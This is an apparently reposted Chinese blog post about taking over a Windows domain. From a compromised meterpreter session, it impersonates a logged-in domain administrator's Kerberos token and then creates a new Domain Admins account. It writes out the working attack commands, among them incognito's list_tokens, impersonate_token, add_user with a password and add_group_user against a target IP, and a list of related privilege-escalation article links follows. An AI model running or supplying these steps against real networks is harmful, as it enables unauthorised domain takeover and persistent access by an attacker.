WINDOWS假冒KERBEROS令牌***域

erberos是一种计算机网络认证协议，它允许某实体在非安全网络环境下通信，向另一个实体以一种安全的方式证明自己的身份。它也指由麻省理工实现此协议，并发布的一套免费软件。它的设计主要针对客户-服务器模型，并提供了一系列交互认证——用户和服务器都能验证对方的身份。

当成功的***了一个系统并建立了一个meterpreter的终端，域管理员登陆这台机器的时候会发送Kerberos令牌到服务器上。我们可以使用这个活动令牌来***系统，通过meterpreter可以假冒成域管理员的角色，而不需要破解它的密码然后可以去***域管理员账号甚至域控制器。

在meterpreter的终端下加载incognito模块list_tokens -u列举出令牌,看到1230TT\\Administrator域管理员账号我们可以假冒它

假冒Administrator域管理员账号

impersonate_token 1230TT\\Administrator

添加用户add_user 11 p@55w0rd! -h 192.168.1.150
把用户添加到域管理员组add_group_user “Domain Admins” 11 -h 192.168.1.150

这样很简单就可以添加了一个域管理员用户了

原文链接:http://1230tt.com/archives/250.html

转载于:https://blog.51cto.com/2308741/1338870

WINDOWS假冒KERBEROS令牌***域相关推荐

Windows权限提升—令牌窃取、UAC提权、进程注入等提权
Windows权限提升-令牌窃取.UNC提权.进程注入等提权 1. 前言 2. at本地命令提权 2.1. 适用范围 2.2. 命令使用 2.3. 操作步骤 2.3.1. 模拟提权 2.3.2. at ...
Windows Server 2016-Active Directory域服务端口汇总
本章为大家简单整理一下有关Windows server Active Directory和Active Directory域服务(AD DS)组件的端口要求.生产环境中我们在做网络调整.防火墙或者开关 ...
Windows客户机脱域问题及解决办法
Windows客户机脱域问题及解决办法参考文章: (1)Windows客户机脱域问题及解决办法 (2)https://www.cnblogs.com/happygoes/p/4788304.html ...
在windows 2008下不同域活动目录迁移(ADMT3.1)
今天抽空做了一下,对比我之前写的windows 2003平台之间迁移,基本是差别不多! 在两个不同域中的WINDOWS 2003活动目录做迁移笔记 ([url]http://godoha.blog.5 ...
windows搭建内网域环境域控制器 win7加入域
1 搭建域环境相关地址:www.920vip.net/article/58 通常所说的内网渗透测试,很大程度就是域渗透测试. 常见的域环境是使用:Windows Server 2012 R2.Win ...
使用windows 7加入windows server 2008的域！
今天在虚拟机中测试如何使用windows 7加入windows server 2008的域实验. 首先让windows server 2008去创建AD,成为域中的DC. 使用dcpromo进行创建D ...
【转】SharePoint 2013中修改windows 活动目录(AD)域用户密码的WebPart（免费下载）
前段时间工作很忙,好久没更新博客了,趁国庆休假期间,整理了两个之前积累很实用的企业集成组件,并在真正的大型项目中经受住了考验:.Net版SAP RFC适配器组件和SharePoint 2013修改AD ...
SharePoint 2013中修改windows 活动目录(AD)域用户密码的WebPart（免费下载）
转:http://www.cnblogs.com/nbpowerboy/p/3355943.html 前段时间工作很忙,好久没更新博客了,趁国庆休假期间,整理了两个之前积累很实用的企业集成组件,并在真 ...
Windows Server 2008搭建域环境---安装活动目录
搭建域环境首先搭建一个单域环境,掌握活动目录的功能,后面的章节将会讲授活动目录树活动目录林,以及林之间的信任.在现阶段只介绍单域单域控制器环境中如何使用活动目录集中管理和统一身份验证. 目标 u 学 ...

WINDOWS假冒KERBEROS令牌***域

WINDOWS假冒KERBEROS令牌***域相关推荐

最新文章

热门文章